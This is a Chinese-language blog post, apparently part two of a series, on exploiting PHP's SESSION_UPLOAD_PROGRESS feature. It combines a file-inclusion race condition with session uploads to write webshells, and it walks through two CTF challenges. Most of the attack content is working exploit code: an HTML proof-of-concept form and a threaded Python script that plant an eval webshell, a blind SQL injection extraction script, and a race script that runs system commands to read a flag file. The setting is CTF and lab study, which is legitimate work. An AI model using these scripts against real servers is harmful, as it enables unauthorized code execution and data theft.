浅谈 SESSION_UPLOAD_PROGRESS 的利用(二)

简介: 浅谈 SESSION_UPLOAD_PROGRESS 的利用

(3)然后再去抓个包,利用目标网站上的文件包含漏洞不断去包含这个恶意会话文件

http://192.168.43.82/index.php?file=/var/lib/php/sessions/sess_whoami

347c9bdd86eda0143b7ea159c7ed1df4_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

cee632855f5994e5f3f791d8fbe7c3d8_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

这样,一边不断发包以维持恶意session存储,另一边不断发包请求包含恶意的session。如上图所示,发现包含利用成功。

当目标服务器的Web目录有权限时,利用这种方法我们可以成功在目标主机上写入Webshell,利用如下poc即可:

<!doctype html>
<html>
<body>
<form action="http://192.168.43.82/index.php" method="POST" enctype="multipart/form-data">
   <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php phpinfo();fputs(fopen('/var/www/html/shell.php','w'),'<?php @eval($_POST[whoami])?>');?>" />
<input type="file" name="file" />
   <input type="submit" />
</form>
</body>
</html>

利用脚本

上面的手动利用比较麻烦,我们可以编写利用脚本一键化完成整个攻击流程,并在目标服务器上写入Webshell。

import io
import sys
import requests
import threading
sessid = 'whoami'
def POST(session):
    while True:
        f = io.BytesIO(b'a' * 1024 * 50)
        session.post(
            'http://192.168.43.82/index.php',
            data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php phpinfo();fputs(fopen('/var/www/html/shell.php','w'),'<?php @eval($_POST[whoami])?>');?>"},
            files={"file":('q.txt', f)},
            cookies={'PHPSESSID':sessid}
        )
def READ(session):
    while True:
        response = session.get(f'http://192.168.43.82/index.php?file=../../../../../../../../var/lib/php/sessions/sess_{sessid}')
        # print('[+++]retry')
        # print(response.text)
        if 'flag' not in response.text:
            print('[+++]retry')
        else:
            print(response.text)
            sys.exit(0)
with requests.session() as session:
    t1 = threading.Thread(target=POST, args=(session, ))
    t1.daemon = True
    t1.start()
    READ(session)

执行该利用脚本,如下图所示,成功在目标服务器中写入了Webshell:

58a0291a3bc6aa1a7d33ba327af3765e_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

在 Session 反序列化中的利用

Session反序列化漏洞的利用方式是通过传入恶意的序列化内容到指定的url,将其保存到session文件中。其本质是先将恶意内容传入,当再由另一个session选择器不同的页面重新加载session时,由于session序列化与反序列化引擎的不同,通过我们精心构造的数据包,就可以绕过程序的验证或者是执行一些系统的方法。

详情请参考:https://blog.csdn.net/qq_45521281/article/details/105890170

[PwnThyBytes 2019]Baby_SQL

进入题目,一个登录框:

6cad674e41eed044b782d1adb13c0391_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

访问source.zip得到源码。

index.php:

<?php
session_start();
foreach ($_SESSION as $key => $value): $_SESSION[$key] = filter($value); endforeach;
foreach ($_GET as $key => $value): $_GET[$key] = filter($value); endforeach;
foreach ($_POST as $key => $value): $_POST[$key] = filter($value); endforeach;
foreach ($_REQUEST as $key => $value): $_REQUEST[$key] = filter($value); endforeach;
function filter($value)
{
    !is_string($value) AND die("Hacking attempt!");
    return addslashes($value);
}
isset($_GET['p']) AND $_GET['p'] === "register" AND $_SERVER['REQUEST_METHOD'] === 'POST' AND isset($_POST['username']) AND isset($_POST['password']) AND @include('templates/register.php');
isset($_GET['p']) AND $_GET['p'] === "login" AND $_SERVER['REQUEST_METHOD'] === 'GET' AND isset($_GET['username']) AND isset($_GET['password']) AND @include('templates/login.php');
isset($_GET['p']) AND $_GET['p'] === "home" AND @include('templates/home.php');
?>

可以看到这里将通过GET、POST、SESSION和REQUEST方法获取到的参数全部使用addslashes函数进行了过滤。

register.php:

<?php
!isset($_SESSION) AND die("Direct access on this script is not allowed!");
include 'db.php';
(preg_match('/(a|d|m|i|n)/', strtolower($_POST['username'])) OR strlen($_POST['username']) < 6 OR strlen($_POST['username']) > 10 OR !ctype_alnum($_POST['username'])) AND $con->close() AND die("Not allowed!");
$sql = 'INSERT INTO `ptbctf`.`ptbctf` (`username`, `password`) VALUES ("' . $_POST['username'] . '","' . md5($_POST['password']) . '")';
($con->query($sql) === TRUE AND $con->close() AND die("The user was created successfully!")) OR ($con->close() AND die("Error!"));
?>

login.php:

<?php
!isset($_SESSION) AND die("Direct access on this script is not allowed!");
include 'db.php';
$sql = 'SELECT `username`,`password` FROM `ptbctf`.`ptbctf` where `username`="' . $_GET['username'] . '" and password="' . md5($_GET['password']) . '";';
$result = $con->query($sql);
function auth($user)
{
    $_SESSION['username'] = $user;
    return True;
}
($result->num_rows > 0 AND $row = $result->fetch_assoc() AND $con->close() AND auth($row['username']) AND die('<meta http-equiv="refresh" content="0; url=?p=home" />')) OR ($con->close() AND die('Try again!'));
?>

可以看到这里的SELECT语句本应该是可以进行联合注入的,但是由于index.php中将所有通过GET、POST、SESSION和REQUEST方法获取到的参数全部使用addslashes函数进行了过滤。所以我们要想在login.php中进行sql注入就需要绕过index.php中的过滤,那我们能否直接访问login.php进行sql注入呢?我们看到index.php中使用session_start()函数初始化了session,后面的login.php和register.php中都在开头位置使用 !isset($_SESSION) AND die("Direct access on this script is not allowed!"); 判断是否存在session,如果不存在的话就退出程序,所以如果我们要直接访问login.php进行sql注入的话,还需要带上一个session才行,这里边用上了我们的 PHP_SESSION_UPLOAD_PROGRESS 了。我们可以使用 PHP_SESSION_UPLOAD_PROGRESS 来在目标服务器上初始化一个session,然后便可以绕过index.php中的检测,直接访问login.php进行sql注入了。

由于login.php中没有输出,所以我们需要进行盲注,最后给出注入的exp脚本:

import io
import requests
url = 'http://54445ca2-77f7-4a00-9166-2b52e9fd20ef.node3.buuoj.cn/templates/login.php'
flag = ''
f = io.BytesIO(b'a' * 1024 * 50)
file = {"file": ('q.txt', f)}
for i in range(1,250):
   low = 32
   high = 128
   mid = (low+high)//2
   while(low<high):
       #payload = "test\" or (ascii(substr((select database()),%d,1))>%d)#" %(i,mid)
       #payload = "test\" or (ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),%d,1))>%d)#" %(i,mid)
       #payload = "test\" or (ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='flag_tbl'),%d,1))>%d)#" %(i,mid)
       payload = "test\" or (ascii(substr((select secret from flag_tbl),%d,1))>%d)#" %(i,mid)
       data = {"PHP_SESSION_UPLOAD_PROGRESS": "123"}
       cookie = {"PHPSESSID": "whoami"}
       params = {
           "username": payload,
           "password": "123456"
       }
       res = requests.post(url=url, params=params, data=data, files=file, cookies=cookie)
       #print(res.text)
       if 'meta' in res.text:      # 为真时,即判断正确的时候的条件
           low = mid+1
       else:
           high = mid
       mid = (low+high)//2
   if(mid ==32 or mid ==127):
       break
   flag = flag+chr(mid)
   print(flag)

fdd6ae5697b8e57c3a6231f822f96df8_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

[WMCTF2020]Make PHP Great Again

进入题目,给出源码:

1a62a6d1e1f5b2dae5296a51e3267979_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

代码很简单,简单的文件包含,但隐藏着巨大的玄机。乍眼一看使用php://filter伪协议包含flag.php即可得到flag,但是在PHP中,require_once() 函数在调用时PHP会检查该文件是否已经被包含过,如果是则不会再次包含,如上图的代码中flag.php已经被 require_once() 函数包含过了,所以我们就不能再使用他读取flag.php的源码了。那么我们可以尝试绕过这个机制吗?

这里预期的解法是用伪协议配合多级符号链接的办法进行绕过,但是这里既然存在文件包含,并且 session.upload_progress.enabled 选项又是默认开启的,那我们便可以利用该机制在目标服务器上写入Webshell或者执行任意代码直接读取到flag,exp如下:

import io
import sys
import requests
import threading
sessid = 'whoami'
def POST(session):
    while True:
        f = io.BytesIO(b'a' * 1024 * 50)
        session.post(
            'http://2f0dc537-6285-4cc7-aff0-eea69296dbaa.node3.buuoj.cn/',
            data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php system('cat /proc/self/cwd/flag.php');?>"},
            files={"file":('q.txt', f)},
            cookies={'PHPSESSID':sessid}
        )
def READ(session):
    while True:
        response = session.get(f'http://2f0dc537-6285-4cc7-aff0-eea69296dbaa.node3.buuoj.cn/?file=../../../../../../../../tmp/sess_{sessid}')    # 该题生成的session存放在/tmp目录下
        # print('[+++]retry')
        # print(response.text)
        if 'flag{' not in response.text:
            print('[+++]retry')
        else:
            print(response.text)
            sys.exit(0)
with requests.session() as session:
    t1 = threading.Thread(target=POST, args=(session, ))
    t1.daemon = True
    t1.start()
    READ(session)

e56bca6ada87f9e1c222f166c035a5ff_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

Ending......

相关文章
|
23天前
|
安全 PHP
文件上传--Upload-labs--Pass19--move_upload_file()函数特性
文件上传--Upload-labs--Pass19--move_upload_file()函数特性
|
9月前
|
Web App开发 存储
解决 Failed to read the ‘localStorage‘ property from ‘Window‘: Access is denied...
解决 Failed to read the ‘localStorage‘ property from ‘Window‘: Access is denied...
360 0
|
10月前
|
Linux
Could not fetch/save url http://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repoError 403
Could not fetch/save url http://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repoError 403
887 1
EnvironmentNotWritableError: The current user does not have write permissions to the targe...
EnvironmentNotWritableError: The current user does not have write permissions to the targe...
1805 0
|
9月前
|
Web App开发
Failed to read the ‘localStorage‘ property from ‘Window‘: Access is denied ...
Failed to read the ‘localStorage‘ property from ‘Window‘: Access is denied ...
859 0
|
存储 安全 Ubuntu
浅谈 SESSION_UPLOAD_PROGRESS 的利用(一)
浅谈 SESSION_UPLOAD_PROGRESS 的利用
91 0
浅谈 SESSION_UPLOAD_PROGRESS 的利用(一)
|
Web App开发 安全
Not allowed to navigate top frame to data URL
Not allowed to navigate top frame to data URL
269 0
How is navigation target url request handled by backend
How is navigation target url request handled by backend
177 0
How is navigation target url request handled by backend
|
JavaScript 前端开发
how about one resource file has two different methods both annotated with @Post
how about one resource file has two different methods both annotated with @Post
106 0
how about one resource file has two different methods both annotated with @Post
Upload Picture to application server
Upload Picture to application server
Upload Picture to application server